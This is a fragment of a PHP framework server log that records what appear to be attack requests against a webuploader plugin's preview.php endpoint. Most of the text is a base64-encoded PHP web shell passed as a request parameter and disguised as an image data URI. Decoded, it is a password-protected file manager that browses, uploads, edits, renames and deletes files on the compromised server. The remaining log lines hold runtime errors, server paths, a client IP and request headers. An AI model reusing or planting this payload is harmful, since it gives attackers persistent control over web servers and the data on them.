'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:16+08:00 ] 116.213.36.234 POST 51tianwei.com/public/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002430s] [吞吐率:411.49req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'plugins', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 